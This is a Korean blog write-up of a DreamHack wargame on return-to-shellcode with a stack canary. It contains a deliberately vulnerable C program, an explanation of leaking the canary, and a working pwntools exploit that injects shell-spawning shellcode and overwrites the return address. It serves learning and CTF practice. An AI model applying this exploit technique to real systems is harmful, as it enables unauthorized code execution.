r2s.c
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
์นด๋๋ฆฌ ๊ฐ ์ฒดํฌ
<main+8>์์ ์คํํ ๋๋ง๋ค ๋งค๋ฒ ๋ฐ๋๋ ์นด๋๋ฆฌ๊ฐ ์ ์ฅ๋ fs:0x28์ด ์คํ [rbp-0x8]์ ์ ์ฅ์ด ๋๋ค.
QWORD PTR fs:0x28 = QWORD PTR [rbp-0x8]
main ํจ์ ์ข ๋ฃ ๋ถ๋ถ์ ์์นํ <main+249>์๋ fs:0x28(์นด๋๋ฆฌ)๊ณผ ์คํ [rbp-0x8]์ ์๋ก ๋น๊ตํ๋ฉด์ ๊ฐ์ด ์ผ์นํ๋ค๋ฉด(ZF=1) leave ๋ถ๋ถ์ผ๋ก ์ ํ๋ฅผ ํ๊ฒ ๋ ๊ฒ์ด๊ณ , ์ผ์นํ์ง ์๋ค๋ฉด ์คํ์ด ์กฐ์๋ ๊ฒ์ ๊ฐ์งํ๊ฒ ๋๋ค.
ํ์ผ ๋ณดํธ ๊ธฐ๋ฒ ํ์ธ(checksec)
Canary found๋ฅผ ๋ณด๋ฉด ์คํ ์นด๋๋ฆฌ๊ฐ ํ์ฑํ๊ฐ ๋ ๊ฒ์ ํ์ธ.
NX(No-eXecute)๋ ๋นํ์ฑํ๋ ๊ฒ์ ๋ณด๋ฉด ์์ฝ๋๋ ์คํ ๊ฐ๋ฅํ๋จ๊ฑธ ์ ์ ์๋ค.
์นด๋๋ฆฌ ์ฐํ ๋ฐฉ๋ฒ
1. 0x58+1๋งํผ์ ๋๋ฏธ๊ฐ์ ์ ๋ ฅํ์ฌ Canary ๊ฐ์ ๊ณต๊ฒฉ์๊ฐ ํ์ธํ ์ ์๊ฒ ํ๋ค.
(+1์ ํ ์ด์ ๋ Canary์ ๋(\x00)๊น์ง ๋ฌธ์๋ฅผ ๋ฎ์ด์ printf %s ์ถ๋ ฅ ์ Canary์ ๊ฐ์ ๊ฐ์ ธ์ค๊ธฐ ์ํจ)
2. ์ฌ์ฉ์ ์ ๋ ฅ ์ดํ์ ๋์ค๋ ๊ฐ์ p.recvn(7)์ผ๋ก 7 ๋ฐ์ดํธ ๋งํผ ์ฝ์ด ๋ค์ธ๋ค.
(1.)์์ ์ ๋ ฅ ๋ฌธ์๊ฐ \x00๊น์ง ๋ฎ์ด ์์๊ธฐ ๋๋ฌธ์ ์์ \x00์ ๋ซ๋ถ์ธ๋ค. (\x00 + 7 ๋ฐ์ดํธ) = ์นด๋๋ฆฌ ๊ฐ
3. ๋๋ฒ์งธ์ ์ ๋ ฅ(gets)์๋ ์์ฝ๋ + ๋๋ฏธ๊ฐ + ์นด๋๋ฆฌ + SFP + buf ์ฃผ์๋ฅผ ์ ๋ฌ.
์ดํ์ ์ค๋ฒ๋ผ์ดํ ์ด ๋๋ฉด์ ์นด๋๋ฆฌ ๊ฐ์ ๋ณํ์ง ์๊ธฐ ๋๋ฌธ์ ์คํ ์ค๋ฒํ๋ก์ฐ๊ฐ ๊ฐ์ง๋์ง ์๋๋ค.
*๋ ธํธ
๋ฆฌํ ์๋์ธ์์๋ ์ ๋ ฅํ ๊ฐ ์์๋ฅผ ๋ฐ๋๋ก ์ ์ฅ์ ํ๊ณ , ์ถ๋ ฅ์ ํ ๋์๋ ์ด๋ฅผ ๋ค์ ๋ค์ง์ด ์๋ ์์๋๋ก ๊ฐ์ ธ์จ๋ค.
ex)
์ ๋ ฅ: 0x12 0x34 0x56
์ ์ฅ: 0x56 0x34 0x12
์ถ๋ ฅ: 0x12 0x34 0x56
๋ง์ฝ ์นด๋๋ฆฌ๊ฐ 0x12345600์ผ๋ก ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ์ด ๋ผ์์ ๊ฒฝ์ฐ ์ด๋ฅผ ๋ฌธ์์ด๋ก ์ถ๋ ฅํ๊ฒ ๋๋ฉด
์ญ์์ผ๋ก 0x00 0x56 0x34 0x12๊ฐ ๋์ค๊ฒ ๋๋ค.
๊ณต๊ฒฉ์๊ฐ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก ์นด๋๋ฆฌ ๊ฐ์ ์กฐ์ํ๊ฒ ๋๋ค๋ฉด
์ ๋ ฅ: 0X61 ... 0x61
์นด๋๋ฆฌ: 0x12345661
์ด๋ฐ์์ผ๋ก ๋ค์ ๋ถ๋ถ์ด ๋ฎ์ด ์๊ฒ ๋๋ค.
์ด๋ฅผ ๋ค์ ํ๋ฆฐํธ ์ถ๋ ฅํ๋ฉด
0x61 0x56 0x34 0x12์ผ๋ก ๋ณด์ผ ํ ๊ณ 0x61์ ์ ์ธํ ๋๋จธ์ง(0x56 0x34 0x12) ์์๋ค 0x00์ ๋ถ์ด๊ณ (0x00563412) ๋ค์ ์์๋ฅผ ๋ค์ง์ผ๋ฉด ์นด๋๋ฆฌ ๊ฐ์ ๊ตฌํ ์ ์๊ฒ ๋๋ค.
>> 0x12345600
exploit.py
from pwn import *
context.arch = "amd64"
# p = remote("host3.dreamhack.games", 20875)
p = process("./r2s")
p.recvuntil("Address of the buf: ")
addr_of_buf = int(p.recvn(14), 16)
p.recvuntil("$rbp: ")
rbp = int(p.recvn(2))
payload = b'a' * (rbp-8+1)
p.sendafter("Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'b' * ( 88 - len(shellcode) )
payload += p64(canary)
payload += b'c' * 8
payload += p64(addr_of_buf)
p.sendlineafter("Input: ", payload)
p.interactive()
์ฐธ๊ณ :
https://thfist-1071.tistory.com/entry/Dreamhack-Wargame-Canary%EC%99%80-Return-to-Shellcode-Write-up
[Dreamhack Wargame] Canary์ Return to Shellcode Write up
์๋ฌด๋๋ ๊ธฐ์ต๋ ฅ์ด ๋์ ํธ์ด๋ผ ๊ณ์ํด์ ์ผ๋ ์ฝ๋๋ฅผ ์์ด๋ฒ๋ฆฌ๋ค์. ๊ทธ๋์ ๋ธ๋ก๊ทธ๋ฅผ ์์ํ์ง๋ง ์ํผ, ๋ฌธ์ ํ์ด๋ฅผ ํด๋ณด๊ฒ ์ต๋๋ค. ๋ฌธ์ ์ด๋ฒ ๋ฌธ์ ๋ ์ฌ์ค ํ์ด๋ ์ด๋ฏธ ์ด์ ์ ์์ต๋๋ค. ๊ทธ๋
thfist-1071.tistory.com
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - Robot Only ํ์ด (0) | 2023.05.24 |
---|---|
DreamHack - Mitigation: Stack Canary ์ค์ต ๋ฌธ์ (์นด๋๋ฆฌ ๊ฐ ๊ตฌํ๊ธฐ) (0) | 2023.05.01 |
DreamHack - Quiz: x86 Assembly 1 (0) | 2023.05.01 |
DreamHack - Return Address Overwrite (0) | 2023.04.30 |
DreamHack - basic_exploitation_000 ํ์ด (0) | 2023.04.26 |